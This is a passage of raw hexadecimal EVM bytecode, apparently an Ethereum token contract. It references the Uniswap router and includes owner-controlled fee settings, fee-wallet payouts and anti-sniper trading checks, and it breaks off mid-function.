ffffffffffffffffffffffffffff1602179055507323649def4523dd0215523b8a57708db271e29b22601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601760146101000a81548160ff021916908315150217905550348015620003f057600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000600860006101000a81548160ff0219169083151502179055506009600a6200045e919062000e2e565b6305f5e1006200046f919062000e7f565b6009819055506009600a62000485919062000e2e565b6305f5e10062000496919062000e7f565b600a81905550612710600a6009600a620004b1919062000e2e565b6305f5e100620004c2919062000e7f565b620004ce919062000e7f565b620004da919062000f0f565b600b8190555061271060326009600a620004f5919062000e2e565b6305f5e10062000506919062000e7f565b62000512919062000e7f565b6200051e919062000f0f565b600c81905550737a250d5630b4cf539739df2c5dacb4c659f2488d601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550636fd85b8e600360006101000a81548163ffffffff021916908363ffffffff160217905550636fd85b8e600360046101000a81548163ffffffff021916908363ffffffff16021790555060026009600a62000952919062000e2e565b6305f5e10062000963919062000e7f565b6200096f919062000f0f565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026009600a62000a14919062000e2e565b6305f5e10062000a25919062000e7f565b62000a31919062000f0f565b60405162000a40919062000f58565b60405180910390a360026009600a62000a5a919062000e2e565b6305f5e10062000a6b919062000e7f565b62000a77919062000f0f565b600460008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60026009600a62000b5d919062000e2e565b6305f5e10062000b6e919062000e7f565b62000b7a919062000f0f565b60405162000b89919062000f58565b60405180910390a362000fda565b82805462000ba59062000fa4565b90600052602060002090601f01602090048101928262000bc9576000855562000c15565b82601f1062000be457805160ff191683800117855562000c15565b8280016001018555821562000c15579182015b8281111562000c1457825182559160200191906001019062000bf7565b5b50905062000c24919062000c28565b5090565b5b8082111562000c4357600081600090555060010162000c29565b5090565b600061ffff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c918262000c47565b915062000c9e8362000c47565b92508261ffff0382111562000cb85762000cb762000c55565b5b828201905092915050565b60008160011c9050919050565b6000808291508390505b600185111562000d225780860481111562000cfa5762000cf962000c55565b5b600185161562000d0a5780820291505b808102905062000d1a8562000cc3565b945062000cda565b94509492505050565b60008262000d3d576001905062000e10565b8162000d4d576000905062000e10565b816001811462000d66576002811462000d715762000da7565b600191505062000e10565b60ff84111562000d865762000d8562000c55565b5b8360020a91508482111562000da05762000d9f62000c55565b5b5062000e10565b5060208310610133831016604e8410600b841016171562000de15782820a90508381111562000ddb5762000dda62000c55565b5b62000e10565b62000df0848484600162000cd0565b9250905081840481111562000e0a5762000e0962000c55565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000e3b8262000e17565b915062000e488362000e21565b925062000e777fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000d2b565b905092915050565b600062000e8c8262000e17565b915062000e998362000e17565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ed55762000ed462000c55565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000f1c8262000e17565b915062000f298362000e17565b92508262000f3c5762000f3b62000ee0565b5b828204905092915050565b62000f528162000e17565b82525050565b600060208201905062000f6f600083018462000f47565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000fbd57607f821691505b6020821081141562000fd45762000fd362000f75565b5b50919050565b6155828062000fea6000396000f3fe6080604052600436106101d15760003560e01c8063893d20e8116100f7578063d9f0b37011610095578063e79d416011610064578063e79d41601461066b578063ed7b6bb514610696578063f2fde38b146106ad578063ffb54a99146106d6576101d8565b8063d9f0b370146105c5578063dca2a8b6146105ee578063dd62ed3e14610605578063e4dbc45b14610642576101d8565b80639c5fd048116100d15780639c5fd0481461050b578063a9059cbb14610534578063aa4bde2814610571578063b14218031461059c576101d8565b8063893d20e81461048a5780638c0b5e22146104b557806395d89b41146104e0576101d8565b806322cb8fc61161016f5780636969c1a41161013e5780636969c1a4146103be57806370a08231146103e757806371ebe1c314610424578063863abf6d1461044d576101d8565b806322cb8fc61461030457806323b872dd1461032d578063313ce5671461036a578063677ef84614610395576101d8565b80630f3a325f116101ab5780630f3a325f1461026e57806318160ddd146102ab5780631c939ee9146102d65780631cbbe3e4146102ed576101d8565b806306fdde03146101dd578063095ea7b31461020857806309ef509f14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610701565b6040516101ff91906140ac565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190614167565b610793565b60405161023c91906141c2565b60405180910390f35b34801561025157600080fd5b5061026c60048036038101906102679190614216565b6108f0565b005b34801561027a57600080fd5b5061029560048036038101906102909190614269565b610a6e565b6040516102a291906141c2565b60405180910390f35b3480156102b757600080fd5b506102c0610ac9565b6040516102cd91906142a5565b60405180910390f35b3480156102e257600080fd5b506102eb610aed565b005b3480156102f957600080fd5b50610302610b86565b005b34801561031057600080fd5b5061032b600480360381019061032691906142fa565b610c20565b005b34801561033957600080fd5b50610354600480360381019061034f9190614387565b610db7565b60405161036191906141c2565b60405180910390f35b34801561037657600080fd5b5061037f610fc0565b60405161038c91906143e9565b60405180910390f35b3480156103a157600080fd5b506103bc60048036038101906103b79190614404565b610fc9565b005b3480156103ca57600080fd5b506103e560048036038101906103e0919061446b565b61135d565b005b3480156103f357600080fd5b5061040e60048036038101906104099190614269565b611950565b60405161041b91906142a5565b60405180910390f35b34801561043057600080fd5b5061044b600480360381019061044691906144c4565b611999565b005b34801561045957600080fd5b50610474600480360381019061046f9190614269565b611af8565b60405161048191906142a5565b60405180910390f35b34801561049657600080fd5b5061049f611b41565b6040516104ac9190614513565b60405180910390f35b3480156104c157600080fd5b506104ca611b6a565b6040516104d791906142a5565b60405180910390f35b3480156104ec57600080fd5b506104f5611b70565b60405161050291906140ac565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d91906144c4565b611c02565b005b34801561054057600080fd5b5061055b60048036038101906105569190614167565b611ceb565b60405161056891906141c2565b60405180910390f35b34801561057d57600080fd5b50610586611d47565b60405161059391906142a5565b60405180910390f35b3480156105a857600080fd5b506105c360048036038101906105be919061452e565b611d4d565b005b3480156105d157600080fd5b506105ec60048036038101906105e79190614269565b611f0b565b005b3480156105fa57600080fd5b5061060361227a565b005b34801561061157600080fd5b5061062c6004803603810190610627919061456e565b612364565b60405161063991906142a5565b60405180910390f35b34801561064e57600080fd5b50610669600480360381019061066491906145ea565b6123eb565b005b34801561067757600080fd5b50610680612509565b60405161068d9190614660565b60405180910390f35b3480156106a257600080fd5b506106ab61251d565b005b3480156106b957600080fd5b506106d460048036038101906106cf91906146b9565b6125ff565b005b3480156106e257600080fd5b506106eb612707565b6040516106f891906141c2565b60405180910390f35b60606001805461071090614715565b80601f016020809104026020016040519081016040528092919081815260200182805461073c90614715565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b600043600f541180156107f05750601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610800576107ff334361271a565b5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108de91906142a5565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461097e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610975906147b9565b60405180910390fd5b600e60029054906101000a900460ff1660ff168360ff16111580156109b85750600e60029054906101000a900460ff1660ff168260ff1611155b80156109d95750600e60029054906101000a900460ff1660ff168160ff1611155b610a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0f90614825565b60405180910390fd5b82600e60036101000a81548160ff021916908360ff16021790555081600e60046101000a81548160ff021916908360ff16021790555080600e60056101000a81548160ff021916908360ff160217905550505050565b600080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610abf5760019050610ac4565b600090505b919050565b60006009600a610ad991906149a7565b6305f5e100610ae891906149f2565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b72906147b9565b60405180910390fd5b610b844761283c565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b906147b9565b60405180910390fd5b610c1e6000612aa4565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca5906147b9565b60405180910390fd5b85600e60066101000a81548161ffff021916908361ffff16021790555084600e60086101000a81548161ffff021916908361ffff16021790555083600e600a6101000a81548161ffff021916908361ffff16021790555082600e600c6101000a81548161ffff021916908361ffff16021790555081600e806101000a81548161ffff021916908361ffff16021790555080600e60106101000a81548161ffff021916908361ffff16021790555080828486888a610d6b9190614a4c565b610d759190614a4c565b610d7f9190614a4c565b610d899190614a4c565b610d939190614a4c565b600e60126101000a81548161ffff021916908361ffff160217905550505050505050565b6000610dc1612ad4565b610e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df790614ad0565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610fac5781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2b9190614af0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610fb7848484612b5a565b90509392505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104e906147b9565b60405180910390fd5b83601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e2906147b9565b60405180910390fd5b600860009054906101000a900460ff161561143b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143290614b70565b60405180910390fd5b6000811161147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147590614bdc565b60405180910390fd5b6001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060004790508181101561168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168290614c48565b60405180910390fd5b600061169630611950565b9050600081116116db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d290614cb4565b60405180910390fd5b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561174a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176e9190614ce9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181b9190614ce9565b6040518363ffffffff1660e01b8152600401611838929190614d16565b6020604051808303816000875af1158015611857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187b9190614ce9565b90506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611936826132ac565b61194282856000613496565b61194a613574565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1e906147b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a9d5780611a9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9390614d8b565b60405180910390fd5b5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60095481565b606060028054611b7f90614715565b80601f0160208091040260200160405190810160405280929190818152602001828054611bab90614715565b8015611bf85780601f10611bcd57610100808354040283529160200191611bf8565b820191906000526020600020905b815481529060010190602001808311611bdb57829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c87906147b9565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000611cf5612ad4565b611d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2b90614ad0565b60405180910390fd5b611d3f338484612b5a565b905092915050565b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd2906147b9565b60405180910390fd5b600060016103e88461ffff166009600a611df591906149a7565b6305f5e100611e0491906149f2565b611e0e91906149f2565b611e189190614dda565b611e229190614e0b565b9050600954811015611e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6090614ead565b60405180910390fd5b80600981905550600060016103e88461ffff166009600a611e8a91906149a7565b6305f5e100611e9991906149f2565b611ea391906149f2565b611ead9190614dda565b611eb79190614e0b565b9050600a54811015611efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef590614f19565b60405180910390fd5b80600a8190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f90906147b9565b60405180910390fd5b6001601760146101000a81548160ff0219169083151502179055506000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202e90614f85565b60405180910390fd5b600061204282611950565b905060008111612087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207e90614cb4565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120d29190614af0565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121609190614e0b565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161220091906142a5565b60405180910390a3600060016002836122199190614dda565b6122239190614af0565b90506000479050612233826136bc565b600081476122419190614af0565b905061224c836132ac565b61225883826000613496565b505050506000601760146101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ff906147b9565b60405180910390fd5b600061231330611950565b905060008111612358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234f90614ff1565b60405180910390fd5b612361816136bc565b50565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612479576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612470906147b9565b60405180910390fd5b8263ffffffff168463ffffffff166009600a61249591906149a7565b6305f5e1006124a491906149f2565b6124ae91906149f2565b6124b89190614dda565b600b819055508063ffffffff168263ffffffff166009600a6124da91906149a7565b6305f5e1006124e991906149f2565b6124f391906149f2565b6124fd9190614dda565b600c8190555050505050565b600e60009054906101000a900461ffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146125ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a2906147b9565b60405180910390fd5b6000600e60036101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff1660026125e39190615011565b600e60046101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461268d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612684906147b9565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516126fc91906150ab565b60405180910390a150565b600860009054906101000a900460ff1681565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127b357506000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156128385780601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e600081819054906101000a900461ffff168092919061281c906150c6565b91906101000a81548161ffff021916908361ffff160217905550505b5050565b6000600e60109054906101000a900461ffff16600e8054906101000a900461ffff16600e600c9054906101000a900461ffff166128799190614a4c565b6128839190614a4c565b90506000600e600c9054906101000a900461ffff1661ffff16111561293a57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600e600c9054906101000a900461ffff1661ffff168561290391906149f2565b61290d9190614dda565b9081150290604051600060405180830381858888f19350505050158015612938573d6000803e3d6000fd5b505b6000600e8054906101000a900461ffff1661ffff1611156129eb57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600e8054906101000a900461ffff1661ffff16856129b491906149f2565b6129be9190614dda565b9081150290604051600060405180830381858888f193505050501580156129e9573d6000803e3d6000fd5b505b6000600e60109054906101000a900461ffff1661ffff161115612aa057601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600e60109054906101000a900461ffff1661ffff1685612a6991906149f2565b612a739190614dda565b9081150290604051600060405180830381858888f19350505050158015612a9e573d6000803e3d6000fd5b505b5050565b43600f541180612ab657506000600f54145b15612ad1578060ff1643612aca9190614e0b565b600f819055505b50565b60008060009050600860009054906101000a900460ff1615612af95760019050612b53565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161415612b5257600190505b5b8091505090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bc29061513d565b60405180910390fd5b43600f541115612ce457600360049054906101000a900463ffffffff1663ffffffff16600360009054906101000a900463ffffffff1663ffffffff1684612c12919061515d565b73ffffffffffffffffffffffffffffffffffffffff161415612c3d57612c386001612aa4565b612cdf565b6000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612c9457612c8f834361271a565b612cde565b612cdd83601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271a565b5b5b612dfe565b6000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612d7557612d7483601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271a565b5b601260009054906101000a900460ff1660ff16600f54612d959190614e0b565b43108015612da25750483a115b15612dfd576000483a612db59190614af0565b90506013548110612dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df2906151da565b60405180910390fd5b505b5b600860009054906101000a900460ff168015612e5a57506000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015612ea4575043601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15612ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612edb90615246565b60405180910390fd5b601760149054906101000a900460ff16158015612f4a5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612f5857612f576138db565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612fc057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015613018575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15613067576130278383613b3a565b613066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161305d906152b2565b60405180910390fd5b5b6000613074858585613c7a565b9050600081846130849190614af0565b905083600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130d19190614af0565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156131ac5781600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131689190614e0b565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131f79190614e0b565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161329791906142a5565b60405180910390a36001925050509392505050565b80600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015613493577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560003073ffffffffffffffffff